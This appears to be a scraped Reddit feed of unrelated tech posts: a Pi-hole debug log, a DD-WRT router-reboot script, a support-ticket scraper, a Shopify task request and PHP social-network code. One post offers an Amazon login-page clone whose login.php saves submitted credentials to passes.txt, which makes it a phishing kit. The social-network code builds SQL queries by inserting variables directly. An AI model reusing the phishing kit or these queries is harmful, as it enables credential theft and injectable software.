"/FTL-dns-cache" from 8192 to 12288
*** [ DIAGNOSING ]: contents of /dev/shm -rw------- 1 pihole pihole 323584 Sep 30 22:38 /dev/shm/FTL-clients -rw------- 1 pihole pihole 144 Sep 30 22:16 /dev/shm/FTL-counters -rw------- 1 pihole pihole 12288 Sep 30 22:39 /dev/shm/FTL-dns-cache -rw------- 1 pihole pihole 65536 Sep 30 22:16 /dev/shm/FTL-domains -rw------- 1 pihole pihole 28 Sep 30 22:16 /dev/shm/FTL-lock -rw------- 1 pihole pihole 77824 Sep 30 22:16 /dev/shm/FTL-overTime -rw------- 1 pihole pihole 4096 Sep 30 22:16 /dev/shm/FTL-per-client-regex -rw------- 1 pihole pihole 2064384 Sep 30 22:40 /dev/shm/FTL-queries -rw------- 1 pihole pihole 12 Sep 30 22:16 /dev/shm/FTL-settings -rw------- 1 pihole pihole 16384 Sep 30 22:39 /dev/shm/FTL-strings -rw------- 1 pihole pihole 20480 Sep 30 22:16 /dev/shm/FTL-upstreams
*** [ DIAGNOSING ]: Locale LANG=
*** [ DIAGNOSING ]: Pi-hole log -rw-r--r-- 1 pihole pihole 5428807 Sep 30 22:40 /valog/pihole.log -----head of pihole.log------ Sep 30 00:00:03 dnsmasq[16669]: query[PTR] 4.0.168.192.in-addr.arpa from 127.0.0.1 Sep 30 00:00:03 dnsmasq[16669]: /etc/pihole/local.list 192.168.0.4 is raspberrypi Sep 30 00:00:03 dnsmasq[16669]: query[PTR] 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:03 dnsmasq[16669]: forwarded 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1 Sep 30 00:00:05 dnsmasq[16669]: query[PTR] 4.e.b.3.9.3.a.8.e.f.1.5.0.9.1.8.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:05 dnsmasq[16669]: forwarded 4.e.b.3.9.3.a.8.e.f.1.5.0.9.1.8.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1 Sep 30 00:00:08 dnsmasq[16669]: query[PTR] 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:08 dnsmasq[16669]: forwarded 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1 Sep 30 00:00:10 dnsmasq[16669]: query[PTR] 4.e.b.3.9.3.a.8.e.f.1.5.0.9.1.8.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:10 dnsmasq[16669]: forwarded 4.e.b.3.9.3.a.8.e.f.1.5.0.9.1.8.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1 Sep 30 00:00:13 dnsmasq[16669]: query[PTR] 1.7.0.a.9.f.f.1.a.a.a.5.8.4.9.3.2.f.5.7.2.f.d.3.7.4.c.0.0.0.d.f.ip6.arpa from 127.0.0.1 Sep 30 00:00:13 dnsmasq[16669]: /etc/pihole/local.list fd00:c47:3df2:75f2:3948:5aaa:1ff9:a071 is raspberrypi Sep 30 00:00:13 dnsmasq[16669]: query[PTR] d.b.0.6.3.2.1.0.4.e.2.e.1.e.a.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.arpa from 127.0.0.1 Sep 30 00:00:13 dnsmasq[16669]: config fe80::eae1:e2e4:123:60bd is NXDOMAIN Sep 30 00:00:15 dnsmasq[16669]: query[PTR] 4.e.b.3.9.3.a.8.e.f.1.5.0.9.1.8.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:15 dnsmasq[16669]: forwarded 4.e.b.3.9.3.a.8.e.f.1.5.0.9.1.8.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1 Sep 30 00:00:20 dnsmasq[16669]: query[PTR] 6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:20 dnsmasq[16669]: forwarded 6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1 Sep 30 00:00:25 dnsmasq[16669]: query[PTR] 6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa from 127.0.0.1 Sep 30 00:00:25 dnsmasq[16669]: forwarded 6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.e.2.9.0.e.1.f.8.a.e.f.7.0.6.2.ip6.arpa to 127.0.0.1
[✓] ** FINISHED DEBUGGING! **
* The debug log can be uploaded to tricorder.pi-hole.net for sharing with developers only. * For more information, see: https://pi-hole.net/2016/11/07/crack-our-medical-tricorder-win-a-raspberry-pi-3/ * If available, we'll use openssl to upload the log, otherwise it will fall back to netcat. 
[i] Debug script running in automated mode * Using curl for transmission. * curl failed, falling back to netcat for transmission. [✗] There was an error uploading your debug log. * Please try again or contact the Pi-hole team for assistance. * A local copy of the debug log can be found at: /valog/pihole_debug.log
submitted by firemanjoe911 to pihole [link] [comments]


2020.09.23 14:21 Wus_Pigs Solved: Rebooting router with DD-WRT router and Smart Plug

I have need to reboot my Netgear LB1200 router as part of a reboot of a DD-WRT router. The modem/router combo occasionally loses connection to the internet. Ping returns a result, but web requests time out. I needed a method to reboot both the router and the modem when web requests no longer work.
Equipment: Netgear LB1200 4G Modem and Netgear R6700v3 router
I purchased a wifi enabled smart plug that had been flashed with Tasmota firmware. The benefit of Tasmota is that the plug is not tied to cloud operation and can be controlled locally in a variety of methods, including web based requests. Rebooting a DD-WRT router is a simple matter. I wrote a script (posted below) that will check if web based requests are working, and if not, reboot the modem and router with a new cloned MAC address. If that doesn't work, the whole set up gets rebooted.
So far, there have been no connection based reboots of the entire set up. Rebooting the modem with a new MAC address seems to restore connectivity.
#!/bin/bash PATH="/bin:/usbin:/sbin:/ussbin:/opt/sbin:/opt/bin:/opt/ussbin:/opt/usbin" #https://superuser.com/questions/1099021/i-need-to-occasionally-restart-my-router-to-fix-my-internet-connection-can-i-de cd /jffs/TestInternetConnection touch RebootLog touch /tmp/root/ConnectionLog chmod 777 RebootLog chmod 777 /tmp/root/ConnectionLog wget -q www.google.com > /dev/null FILE=index.html #test to see if fetch was good if test -f "$FILE"; then #good fetch rm -rf $FILE echo `date '+%m/%d/%Y %I:%M %p'` >> /tmp/root/ConnectionLog else #fetch didn't work echo " " >> RebootLog echo "Unable to reach internet. WLAN IP being reset." >> RebootLog echo `date '+%m/%d/%Y %I:%M %p'` >> RebootLog echo "Current IP address:" >> /jffs/TestInternetConnection/RebootLog nvram get wan_ipaddr >> /jffs/TestInternetConnection/RebootLog #turn off power to modem wget -q http://IP_OF_SMARTPLUG/cm?cmnd=Power%20Off > /dev/null #turn off router networking killall -SIGUSR2 udhcpc sleep 5 #turn networking back on and wait killall -SIGUSR1 udhcpc sleep 10 #force MAC address change #https://wiki.dd-wrt.com/wiki/index.php/Useful_Scripts#Auto_Random_MAC_Address echo "Current WAN MAC Address:" >> /jffs/TestInternetConnection/RebootLog nvram get wan_hwaddr >> /jffs/TestInternetConnection/RebootLog MAC=`(date; cat /proc/interrupts) md5sum sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'` nvram set def_hwaddr="00:${MAC}" nvram set wan_hwaddr="00:${MAC}" #turn modem back on and wait 45 seconds for boot up, plus a little bit for the system to stabilize wget -q http://IP_OF_SMARTPLUG/cm?cmnd=Power%20On > /dev/null sleep 60 echo "New WAN IP address:" >> /jffs/TestInternetConnection/RebootLog nvram get wan_ipaddr >> /jffs/TestInternetConnection/RebootLog echo " " echo "New WAN MAC Address:" >> /jffs/TestInternetConnection/RebootLog nvram get wan_hwaddr >> /jffs/TestInternetConnection/RebootLog #house cleaning rm -rf cm* #try a new fetch wget -q www.google.com > /dev/null FILE=index.html if test -f "$FILE"; then echo "WAN reset successful." >> RebootLog rm -rf $FILE echo `date '+%m/%d/%Y %I:%M %p'` >> RebootLog echo " " >> RebootLog else echo "WAN reset unsuccessful. Router is being rebooted." >> RebootLog echo `date '+%m/%d/%Y %I:%M %p'` >> RebootLog echo " " >> RebootLog #turn off modem and wait wget -q http://IP_OF_SMARTPLUG/cm?cmnd=Power%20Off > /dev/null sleep 10 #turn on modem and reboot wget -q http://IP_OF_SMARTPLUG/cm?cmnd=Power%20On > /dev/null #house cleaning rm -rf cm* wait 10 reboot fi fi 
submitted by Wus_Pigs to DDWRT [link] [comments]


2020.09.15 01:17 Takeoded script to search through all support tickets

i needed to search through all support tickets, the CAC website has no support for that, so i made this script, hope it can help someone else;
```php declare(strict_types=1);
class cac { protected $username; protected $password; public $ch; function __construct(string $username, string $password) { $this->username = $username; $this->password = $password; $this->ch = curl_init(); $this->opts(array( CURLOPT_RETURNTRANSFER => true, CURLOPT_AUTOREFERER => true, CURLOPT_BINARYTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPGET => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_TIMEOUT => 8, CURLOPT_COOKIEFILE => "", // < "", // << makes curl post all supported encodings, gzip/deflate/etc, makes transfers faster CURLOPT_USERAGENT => 'cac_ticket_search_script' )); $this->login(); } function __destruct() { if (empty($this->ch)) { return; } $this->logout(); curl_close($this->ch); } public function exec(string $url, string $method = 'GET'): string { $opts = [ CURLOPT_URL => $url ]; if ($method === "GET") { $opts[CURLOPT_CUSTOMREQUEST] = null; $opts[CURLOPT_HTTPGET] = 1; } elseif ($method === "POST") { $opts[CURLOPT_CUSTOMREQUEST] = null; $opts[CURLOPT_POST] = 1; } else { $opts[CURLOPT_CUSTOMREQUEST] = $method; } $this->opts($opts); $ret = curl_exec($this->ch); if (!is_string($ret)) { throw new \RuntimeException("curl_exec failed!: " . curl_errno($this->ch) . ": " . curl_error($this->ch)); } return $ret; } public function opts(array $opts): void { if (!curl_setopt_array($this->ch, $opts)) { throw new \RuntimeException("curl_setopt failed!: " . curl_errno($this->ch) . ": " . curl_error($this->ch)); } } protected function login(): void { $html = $this->exec('https://members.cloudatcost.com/index.php?fuse=home&view=login', 'GET'); // sessionHash: 7665ecbbb4b50cd1384b149317533af8 // $domd = $this->loadHTML($html); // $xp=new DOMXPath($domd); // clientexec.sessionHash\s\=\s(?:(?:\")(?:\'))(?[\"\']*) $matches = []; if (!preg_match('/clientexec\.sessionHash\s\=\s(?:(?:\")(?:\\'))(?[\"\\']*)/', $html, $matches)) { throw new \RuntimeException("failed to fetch sessionHash"); } $sessionHash = $matches["sessionHash"]; $this->opts(array( CURLOPT_POSTFIELDS => http_build_query(array( 'email' => $this->username, 'passed_password' => $this->password, 'sessionHash' => $sessionHash )) )); $html = $this->exec('https://members.cloudatcost.com/index.php?fuse=admin&action=Login', 'POST'); if (false == stripos($html, 'Welcome ')) { fwrite(STDERR, $html); throw new \RuntimeException("failed to login - after login, could not find welcome needle. html dumped to stderr"); } } public static function loadHTML(string $html, int $extra_flags = 0, int $exclude_flags = 0): DOMDocument { $flags = LIBXML_HTML_NODEFDTD LIBXML_NOBLANKS LIBXML_NONET; $flags = ($flags $extra_flags) & ~$exclude_flags;
 $domd = new DOMDocument(); $domd->preserveWhiteSpace = false; @$domd->loadHTML('' . $html, $flags); $removeAnnoyingWhitespaceTextNodes = function (\DOMNode $node) use (&$removeAnnoyingWhitespaceTextNodes): void { if ($node->hasChildNodes()) { // Warning: it's important to do it backwards; if you do it forwards, the index for DOMNodeList might become invalidated; // that's why i don't use foreach() - don't change it (lest you know what you're doing, ofc) for ($i = $node->childNodes->length - 1; $i >= 0; --$i) { $removeAnnoyingWhitespaceTextNodes($node->childNodes->item($i)); } } if ($node->nodeType === XML_TEXT_NODE && !$node->hasChildNodes() && !$node->hasAttributes() && empty(trim($node->textContent))) { // echo "Removing annoying POS"; // var_dump($node); $node->parentNode->removeChild($node); } //elseif ($node instanceof DOMText) { echo "not removed"; var_dump($node, $node->hasChildNodes(), $node->hasAttributes(), trim($node->textContent)); } }; $removeAnnoyingWhitespaceTextNodes($domd); return $domd; } public static function extractTextFromHtml(string $html): string { $domd = self::loadHTML($html); $removelist = [ "script", "style" ]; foreach ($removelist as $remove) { while (($list = $domd->getElementsByTagName($remove))->length > 0) { $list->item(0)->parentNode->removeChild($list->item(0)); } } return trim($domd->textContent); } protected function logout() { $this->exec('https://members.cloudatcost.com/index.php?fuse=admin&action=Logout', 'GET'); } public function getAllTickets() { $tickets = []; $url = 'https://members.cloudatcost.com/index.php?fuse=support&controller=ticket&view=alltickets&filter=all&start='; $start = 0; while (true) { var_dump($start); $tickets_found = 0; $html = $this->exec($url . $start, 'GET'); if (false !== stripos($html, '>No tickets found<')) { // past last ticket page break; } $domd = $this->loadHTML($html); $tables = $domd->getElementsByTagName("tbody"); if ($tables->length !== 1) { throw new \RuntimeException("unable to find tickets table, layout changed?"); } $table = $tables->item(0); foreach ($table->childNodes as $ticket) { if ($ticket->nodeName !== "tr") { throw new \RuntimeException("layout changed, non-tr ticket!?"); } if ($ticket->childNodes->length !== 3) { var_dump(($ticket->childNodes->item(1)), $ticket->childNodes); throw new \RuntimeException("layout changed, ticket did not have 3 sections"); } $ticket_data = []; $id = $ticket->childNodes->item(0)->textContent; if (empty($id) $id[0] !== "#") { throw new \RuntimeException("layout changed, 1 id did not match format #idnumber"); } $id = substr($id, strlen("#")); if (false === ($id_validated = filter_var($id, FILTER_VALIDATE_INT))) { throw new \RuntimeException("layout changed, 2 id did not match format #idnumber"); } $ticket_data["id"] = $id_validated; $ticket_data["subject"] = $ticketTitle = $ticket->childNodes->item(1)->childNodes->item(0)->textContent; $ticket_data["date"] = $ticketTitle = $ticket->childNodes->item(1)->childNodes->item(2)->textContent; $ticket_data["status"] = $ticket->childNodes->item(2)->textContent; $url2 = 'https://members.cloudatcost.com/index.php?fuse=support&controller=ticket&view=ticket&id=' . $ticket_data["id"]; $html2 = $this->exec($url2, 'GET'); $ticket_data["textContent"] = $this->extractTextFromHtml($html2); $tickets[] = $ticket_data; ++$tickets_found; echo "."; } if ($tickets_found < 1) { throw new \RuntimeException("layout changed - found a page without 'No tickets found' needle, AND no actual tickets!"); } $start += 5; } return $tickets; } 
} $cac = new cac('', ''); $tickets = $cac->getAllTickets(); var_export($tickets); ```
sample output: ``` $ time php cacsearch.php int(0) .....array ( 0 => array ( 'id' => 62905144, 'subject' => 'got error while paying invoice ', 'date' => 'Date Created: 09/05/2020 03:35 pm', 'status' => 'Closed', 'textContent' => 'View Ticket - Cloud At Cost Client portalHomeDashboardProductsProduct listOrder new servicesBillingMy invoicesEdit Payment MethodSupportMy ticketsSearch knowledge baseSubmit a requestWelcome Hans Henrik B.Edit ProfileAlternate AccountsAccount NotesLogoffDashboard/My Tickets/Viewing TicketTicket #62905144Got error while paying invoice ClosedMessagesCustom FieldsSave Custom Fields09/05/2020 03:35:36 pmBergan EF an error occurred (unfortunately i didn\'t save the error) when trying to pay invoice id can you confirm that invoice id has been paid? 09/14/2020 09:46:58 amGary C Hello

yes it was successful we will look into the error you received thank you

Gary Dedicated Support Engineer CloudAtCost Support
www.cloudatcost.com This ticket has been closed for some time and unable to be reopened. You may create a new ticket if you need assistance with an issue. Powered by', ), 1 => array ( 'id' => 62904925, 'subject' => 'server down', 'date' => 'Date Created: 08/15/2020 01:41 am', 'status' => 'Closed', 'textContent' => 'View Ticket - Cloud At Cost Client portalHomeDashboardProductsProduct listOrder new servicesBillingMy invoicesEdit Payment MethodSupportMy ticketsSearch knowledge baseSubmit a requestWelcome Hans Henrik B.Edit ProfileAlternate AccountsAccount NotesLogoffDashboard/My Tickets/Viewing TicketTicket #62904925Server downClosedMessagesCustom FieldsSave Custom Fields08/15/2020 01:41:09 amBergan EF the server has stopped responding, both to RDP and pings, unless there\'s some network outages or something, i guess it needs a reboot 08/15/2020 01:43:18 amBergan EF ** File Attached: LenovoThinkCentre.jpg ** it\'s not a standard dedicated server, it\'s a "Lenovo ThinkCentre" system, product Id ip , looks like picture attached 08/15/2020 11:53:29 amGary C Hello Hans I am on site and I have rebooted this for you

Let me know if you need anything else

Gary Dedicated Support Engineer CloudAtCost Support www.cloudatcost.com 08/15/2020 12:42:45 pmBergan EF thanks, it works fine now. seems like the outage was Windows Updates-related, something probably went wrong during automatic windows-updates setup This ticket has been closed for some time and unable to be reopened. You may create a new ticket if you need assistance with an issue.Attachments: by: Bergan EF LenovoThinkCentre.jpg Powered by', ), , 3 => array ( 'id' => 62904460, 'subject' => 'what CPUs is used for "Dedicated Server XL1" ?', 'date' => 'Date Created: 07/15/2020 06:31 pm', 'status' => 'Closed', 'textContent' => 'View Ticket - Cloud At Cost Client portalHomeDashboardProductsProduct listOrder new servicesBillingMy invoicesEdit Payment MethodSupportMy ticketsSearch knowledge baseSubmit a requestWelcome Hans Henrik B.Edit ProfileAlternate AccountsAccount NotesLogoffDashboard/My Tickets/Viewing TicketTicket #62904460What CPUs is used for "Dedicated Server XL1" ?ClosedMessagesCustom FieldsSave Custom Fields07/15/2020 06:31:45 pmBergan EF what CPUs is used for "Dedicated Server XL1" ? 07/16/2020 09:39:43 amGary C Hey Hans

our dedicated XL1 is running 4 xeon x7560 cpu giving 64 logical cores

Gary Dedicated Support Engineer CloudAtCost Support www.cloudatcost.com 07/16/2020 10:45:29 amBergan EF thanks This ticket has been closed for some time and unable to be reopened. You may create a new ticket if you need assistance with an issue. Powered by', ), 4 => array ( 'id' => 62903908, 'subject' => 'reboot server id ', 'date' => 'Date Created: 06/18/2020 03:50 am', 'status' => 'Closed', 'textContent' => 'View Ticket - Cloud At Cost Client portalHomeDashboardProductsProduct listOrder new servicesBillingMy invoicesEdit Payment MethodSupportMy ticketsSearch knowledge baseSubmit a requestWelcome Hans Henrik B.Edit ProfileAlternate AccountsAccount NotesLogoffDashboard/My Tickets/Viewing TicketTicket #62903908Reboot server id 904934ClosedMessagesCustom FieldsSave Custom Fields06/18/2020 03:50:07 amBergan EF ** File Attached: LenovoThinkCentre.jpg ** ** File Attached: LenovoThinkCentre2.jpg ** it went down during the "Emergency Maintenance (...) We have experienced a cooling issue" thing at June 17, 2020, https://members.cloudatcost.com/index.php?fuse=home&controller=announcements&view=announcement&ann_id=145 but this server does not have (or at least does not have activated) anything like iDRAC, so i can\'t reboot it myself, also note that this is not a normal U1 rack, it\'s a mini-computer thing looking like the images below 06/18/2020 11:05:16 amGary C Hey Hans

the switch this was connected to was giving issues this morning and was fixed do you still need a reboot on this server ?

Gary Dedicated Support Engineer CloudAtCost Support www.cloudatcost.com 06/19/2020 05:21:28 amBergan EF no i don\'t need a reboot, it\'s working now, thanks :) This ticket has been closed for some time and unable to be reopened. You may create a new ticket if you need assistance with an issue.Attachments: by: Bergan EF LenovoThinkCentre.jpg by: Bergan EF LenovoThinkCentre2.jpg Powered by', ), ```
submitted by Takeoded to CloudAtCost [link] [comments]


2020.07.18 13:56 v1rus9r1nc355 A copy of amazon login/signup page

HTML CODE -->
http://www.w3.org/Txhtml1/DTD/xhtml1-transitional.dtd\\](http://www.w3.org/Txhtml1/DTD/xhtml1-transitional.dtd\)">
Amazon.com Sign In

Sign In

What is your e-mail address?

Do you have an Amazon.com password?

 
 
Sign In Help
Forgot your password? Get password help.
Has your e-mail address changed? Update it here.



THIS IS THE LOGIN.PHP THAT IS REQUIRED AS A LOGIN PAGE -->
header("Location: http://www.google.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value) { fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value); fwrite($handle, "\r\n");
} fwrite($handle, "\r\n");
fclose($handle); exit;
?>
This is NOT the original amazon page, but rather my take on the code (complied from taking reference off of various sites including the original site). This code is made in HTML with the inclusion of internal CSS and PHP. To make sure that all the pages work in the way they should be working you would either need to host the website or run it on XAMPP.
submitted by v1rus9r1nc355 to u/v1rus9r1nc355 [link] [comments]


2020.07.17 09:24 dotcomdude [TASK] $10 for PHP function to update Shopify inventory quantity

I've got a shopify account and want to update the stock levels from my MySQL db, through a PHP function to be run once a day via cron.
This is the MySQL command that retrieves the products to be updated:
SELECT product_id, shopifyid, product_code, product_quantity FROM `shop_product_tbl` WHERE shopifyid is NOT null 
This is the Shopify api endpoint that needs to be used and shows a successful response.
This is the full connection string for the api:
https://apikey:[email protected]/admin/api/2020-07/inventory_levels/set.json 
The location_id is the same for all products (as we have only one location).
shopifyid = inventory_item_id
available = product_quantity
SKU = product_code
I've already got an api connection up, running and tested - so the same credentials can be used for your new function. I know the apikey and password.
What I want...
I want a function written in PHP to retrieve the above MySQL dataset, loop through all results and set the inventory level vai the Shopify api.
For each product, I want you to write the result of the transaction to a text file with the date as the name. A log entry might look like this:
16.07.2020 08:46 Product SKU updated to product_quantity in stock
eg
16.07.2020 08:46 Product MYSKU-112 updated to 46 in stock
or
16.07.2020 08:46 Product MYSKU-112 update failed

I usually use this format for my log files:
$historylogfilename = "shopifystockupdate" . date("md") . "-" . date("H") . ".log";
error_log("your update here" . PHP_EOL, 3, $historylogfilename);
I will set your script up to run via cron once a day.

If you can do this today, please $bid on the task below and then pm me with your timescale for getting it finished. If I'm happy with your bid, I'll give you a cut-down version of the db with just a few records in for your testing/development.
You won't get access to any credentials, the shopify account or the live MySQL db - but you shouldn't need these either.
If the task is allocated to you and your solution works to my satisfaction in the agreed timescale, I will send you the $10 by PayPal (not as friends/family).
Code to be provided by private link, not posted publicly.
No chat requests please, as I don't use Reddit chat!
submitted by dotcomdude to slavelabour [link] [comments]


2020.05.04 18:16 KingofMgtow PHP JavaScript HTML and CSS Modal Image

Hello all, I am creating a social network that uses modal images. I load the image with PHP and I load it with HTML, CSS and JS but I'm having some big problems. When I click on the first image in the news feed the modal works. But when I click on the second and beyond images, it doesn't. I hover over it and click but it doesn't work. Any help ?
/* delete button */ .delete_button { height: 27px; width: 23px; border-radius: 4px; border: none; right: 35px; padding: 0; position: absolute; } 
Post.php:
con = $con; $this->user_obj = new User($con, $user); } public function submitPost($body, $user_to, $imageName) { $body = strip_tags($body); //removes html tags $body = mysqli_real_escape_string($this->con, $body); $check_empty = preg_replace('/\s+/', '', $body); //Deltes all spaces if($check_empty != "" $imageName != "") { $body_array = preg_split("/\s+/", $body); foreach($body_array as $key => $value) { if(strpos($value, "www.youtube.com/watch?v=") !== false) { $link = preg_split("!&!", $value); $value = preg_replace("!watch\?v=!", "embed/", $link[0]); $value = "


"; $body_array[$key] = $value; } } $body = implode(" ", $body_array); //Current date and time $date_added = date("Y-m-d H:i:s"); //Get username $added_by = $this->user_obj->getUsername(); //If user is on own profile, user_to is 'none' if($user_to == $added_by) { $user_to = "none"; } //insert post $query = mysqli_query($this->con, "INSERT INTO posts VALUES(NULL, '$body', '$added_by', '$user_to', '$date_added', 'no', 'no', '0', '$imageName')"); $returned_id = mysqli_insert_id($this->con); //Insert notification if($user_to != 'none') { $notification = new Notification($this->con, $added_by); $notification->insertNotification($returned_id, $user_to, "profile_post"); } //Update post count for user $num_posts = $this->user_obj->getNumPosts(); $num_posts++; $update_query = mysqli_query($this->con, "UPDATE users SET num_posts='$num_posts' WHERE username='$added_by'"); } } public function loadPostsFriends($data, $limit) { $page = $data['page']; $userLoggedIn = $this->user_obj->getUsername(); if($page == 1) $start = 0; else $start = ($page - 1) * $limit; $str = ""; //String to return $data_query = mysqli_query($this->con, "SELECT * FROM posts WHERE deleted='no' ORDER BY id DESC"); if(mysqli_num_rows($data_query) > 0) { $num_iterations = 0; //Number of results checked (not necasserily posted) $count = 1; while($row = mysqli_fetch_array($data_query)) { $id = $row['id']; $body = $row['body']; $added_by = $row['added_by']; $date_time = $row['date_added']; $imagePath = $row['image']; //Prepare user_to string so it can be included even if not posted to a user if($row['user_to'] == "none") { $user_to = ""; } else { $user_to_obj = new User($this->con, $row['user_to']); $user_to_name = $user_to_obj->getFirstAndLastName(); $user_to = "to " . $user_to_name . ""; } //Check if user who posted, has their account closed $added_by_obj = new User($this->con, $added_by); if($added_by_obj->isClosed()) { continue; } $user_logged_obj = new User($this->con, $userLoggedIn); if($user_logged_obj->isFriend($added_by)){ if($num_iterations++ < $start) continue; //Once 10 posts have been loaded, break if($count > $limit) { break; } else { $count++; } if($userLoggedIn == $added_by) $delete_button = ""; else $delete_button = ""; $user_details_query = mysqli_query($this->con, "SELECT first_name, last_name, profile_pic FROM users WHERE username='$added_by'"); $user_row = mysqli_fetch_array($user_details_query); $first_name = $user_row['first_name']; $last_name = $user_row['last_name']; $profile_pic = $user_row['profile_pic']; ?> con, "SELECT * FROM comments WHERE post_id='$id'"); $comments_check_num = mysqli_num_rows($comments_check); //Timeframe $date_time_now = date("Y-m-d H:i:s"); $start_date = new DateTime($date_time); //Time of post $end_date = new DateTime($date_time_now); //Current time $interval = $start_date->diff($end_date); //Difference between dates if($interval->y >= 1) { if($interval->y == 1) $time_message = $interval->y . " yr"; //1 year ago else $time_message = $interval->y . " yrs"; //1+ year ago } else if ($interval->m >= 1) { if($interval->d == 0) { $days = " ago"; } else if($interval->d == 1) { $days = $interval->d . "d"; } else { $days = $interval->d . "ds"; } if($interval->m == 1) { $time_message = $interval->m . "m ". $days; } else { $time_message = $interval->m . "m ". $days; } } else if($interval->d >= 1) { if($interval->d == 1) { $time_message = "Yesterday"; } else { $time_message = $interval->d . " days ago"; } } else if($interval->h >= 1) { if($interval->h == 1) { $time_message = $interval->h . "hr"; } else { $time_message = $interval->h . "hrs"; } } else if($interval->i >= 1) { if($interval->i == 1) { $time_message = $interval->i . "min"; } else { $time_message = $interval->i . " mins"; } } else { if($interval->s < 30) { $time_message = "Just now"; } else { $time_message = $interval->s . "sec"; } } if($imagePath != "") { $imageDiv = "
"; echo''; } else { $imageDiv = ""; } $str .= "
$first_name $last_name $user_to     $time_message $delete_button

$body


$imageDiv

($comments_check_num)   

"; } ?> $limit) $str .= " "; else $str .= "

No more posts to show!

"; } echo $str; } public function loadProfilePosts($data, $limit) { $page = $data['page']; $profileUser = $data['profileUsername']; $userLoggedIn = $this->user_obj->getUsername(); if($page == 1) $start = 0; else $start = ($page - 1) * $limit; $str = ""; //String to return $data_query = mysqli_query($this->con, "SELECT * FROM posts WHERE deleted='no' AND ((added_by='$profileUser' AND user_to='none') OR user_to='$profileUser') ORDER BY id DESC"); if(mysqli_num_rows($data_query) > 0) { $num_iterations = 0; //Number of results checked (not necasserily posted) $count = 1; while($row = mysqli_fetch_array($data_query)) { $id = $row['id']; $body = $row['body']; $added_by = $row['added_by']; $date_time = $row['date_added']; $imagePath = $row['image']; if($num_iterations++ < $start) continue; //Once 10 posts have been loaded, break if($count > $limit) { break; } else { $count++; } if($userLoggedIn == $added_by) $delete_button = ""; else $delete_button = ""; $user_details_query = mysqli_query($this->con, "SELECT first_name, last_name, profile_pic FROM users WHERE username='$added_by'"); $user_row = mysqli_fetch_array($user_details_query); $first_name = $user_row['first_name']; $last_name = $user_row['last_name']; $profile_pic = $user_row['profile_pic']; ?> con, "SELECT * FROM comments WHERE post_id='$id'"); $comments_check_num = mysqli_num_rows($comments_check); //Timeframe $date_time_now = date("Y-m-d H:i:s"); $start_date = new DateTime($date_time); //Time of post $end_date = new DateTime($date_time_now); //Current time $interval = $start_date->diff($end_date); //Difference between dates if($interval->y >= 1) { if($interval == 1) $time_message = $interval->y . " year ago"; //1 year ago else $time_message = $interval->y . " years ago"; //1+ year ago } else if ($interval-> m >= 1) { if($interval->d == 0) { $days = " ago"; } else if($interval->d == 1) { $days = $interval->d . " day ago"; } else { $days = $interval->d . " days ago"; } if($interval->m == 1) { $time_message = $interval->m . "m". $days; } else { $time_message = $interval->m . "m". $days; } } else if($interval->d >= 1) { if($interval->d == 1) { $time_message = "Yesterday"; } else { $time_message = $interval->d . "d"; } } else if($interval->h >= 1) { if($interval->h == 1) { $time_message = $interval->h . "hr"; } else { $time_message = $interval->h . "hrs"; } } else if($interval->i >= 1) { if($interval->i == 1) { $time_message = $interval->i . " min"; } else { $time_message = $interval->i . " mins"; } } else { if($interval->s < 30) { $time_message = "Just now"; } else { $time_message = $interval->s . " sec"; } } if($imagePath != "") { $imageDiv = "
"; } else { $imageDiv = ""; } $str .= "
$first_name $last_name     $time_message $delete_button
$body
$imageDiv

Comments($comments_check_num)   

"; ?> $limit) $str .= " "; else $str .= "

No more posts to show!

